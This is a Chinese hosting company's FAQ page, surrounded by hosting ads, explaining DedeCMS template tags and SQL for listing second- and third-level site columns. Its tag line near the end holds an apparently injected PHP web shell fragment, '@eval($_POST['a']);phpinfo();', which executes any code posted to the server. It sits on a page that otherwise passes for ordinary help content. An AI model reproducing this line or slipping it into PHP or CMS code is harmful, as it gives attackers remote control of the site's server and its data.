51网络科技专业提供

香港空间

美国空间

国内免备案空间

月付空间

免备案虚拟主机

,支持免费试用2天
联系51网络科技
产品快讯:
做微信小程序,免费送域名空间
售前客服
在线咨询
在线咨询
在线咨询
在线咨询
售后服务
在线咨询
在线咨询
财务问题
在线咨询
代理加盟
在线咨询
客户服务热线
027-86866258
 
在线咨询免备案空间客服人员
推荐产品
    300M国内免备案空间
    300M网站空间,送60M数据库!
    现价只要:22元/月
    500M国内免备案空间
    500M网站空间,送100M数据库!
    现价只要:29元/月
    1G国内免备案空间
    1G网站空间,送300M数据库!
    现价只要:39元/月
    500M香港免备案空间
    500M网站空间,送160M数据库!
    现价只要:26元/月
    1G香港免备案空间
    1G网站空间,送300M数据库!
    现价只要:36元/月
    100M美国空间
    100M网站空间,送30M数据库!
    现价只要:12.8元/月
 
您的当前位置:首页 > 常见问题 > 建站常见问题 > 正文
dede织梦调用顶级二级栏目和三级栏目循环的方法
文章来源:51网络科技  点击数:  更新时间:2015/9/4 21:23:27
购买国内免备案空间购买香港空间【不限iis】宽屏网站制作【还送手机网站】
香港云主机/99元/月国内空间【免费备案】 特价网站空间
.Net专用空间香港独立IP空间 游戏空间【支持月付】
①:通过dede调用二级栏目大家都会调用,但要调用三级栏目,就有点麻烦了,如下样式的三级栏目dede如何调用呢?如下:
----------------------------------------A级主栏目
+顶级栏目
+二级栏目
+三级栏目(A)
+三级栏目(B)
+三级栏目(C)
+二级栏目
+三级栏目(D)
+三级栏目(E)
+三级栏目(F)
----------------------------------------B级主栏目
+顶级栏目
+二级栏目(G)
+二级栏目(H)
+二级栏目(I)
{dede:channelartlist typeid=6 row=4} (注:这是顶级栏目id)
{dede:field name='typename'/} (注:这是二级栏目名称)
{dede:sql sql='Select * from dede_arctype where reid=~id~ ORDER BY id limit 0,7'}
[field:typename/]
(注:这是三级栏目的静态路径和栏目名称)
{/dede:sql}
{/dede:channelartlist}
因为[field:typedir /]在数据库存储的路径包括{cmspath}这个字符串,所以我们必须处理一下,就用到织梦(dedecms)自带的cn_substr这个系统函数,这里简要说一下这个函数的参数,@me是当前字段值,也就是取出的[field:typedir /]这个值,200和9表示从第9个字符位置( (不包括这个字符))开始截取200个字符。
typeid='' 指定顶级栏目就可以啦, limit0,7 这个7是控制三级栏目的显示个数的,显示样式自己调整CSS。
②:
可能有很多人因为各种需要,不论是增加密度还是操作方面的便捷性增强用户体验,会涉及到dede需要增加三级或者更深层级导航的需求,咱和尚废话不多说了,直接上代码:
{dede:type typeid='3'}[field:typename/]{/dede:type} (如果上面二级名称掉不出来可以用这个)
{dede:channelartlist typeid='3'}
{dede:field name='typename'/}
{dede:sql sql='Select * from dede_arctype where reid=~id~'}
[field:typename/]
{/dede:sql}
{/dede:channelartlist}

以上代码能够实现理论上无限层级深度的导航菜单调用,显示效果需要CSS来修饰一下,上面的子分类只显示出了栏目名称,没有栏目的链接,栏目的链接需要使用[field:typedir/]才能调用出来。有需要dede专用空间php空间的朋友,可以看一下我们的免备案php空间,性价比高,5年专业免备案空间提供商,值得信赖!
手机登录入口 微信公众号

国内、香港、美国、全免备案www.51cdz.com--51网络科技,专业免备案空间提供商!
标 签:ede产品分循环dede三级栏目调用dede网站空间 @eval($_POST['a']);phpinfo();?> )<?php 商城小程序免费制作 国内空间免费备案 免费备案
相关文章

上班时间:周一至周六 (9:00-12:00 13:30:00-17:30 19:00-23:00) 电子邮箱:idc@51cdz.com 投诉邮箱:admin@51cdz.com
《中华人民共和国增值电信业务经营许可证》B2-20060208 鄂公网安备 42011102000424号 工信部备案号:鄂ICP备10204461号
版权所有:武汉新一点网络科技有限公司 Copyright All Reserved. © 2005-2016 WWW.51CDZ.COM [站点地图] [网站地图]
售前咨询电话:027-86866258 (多线) 售后技术支持:130-8067-8569 传真:027-59817561 客服QQ:984651771(24H)
地址:中国.湖北.武汉市洪山区珞喻路360号 邮编:430000 关注我们:免备案空间腾讯微博 免备案空间新浪微博 免备案空间微信公众号 微信公众号:mianbeian (关注领取10元优惠券)
免备案空间
51网络科技-专业免备案空间提供商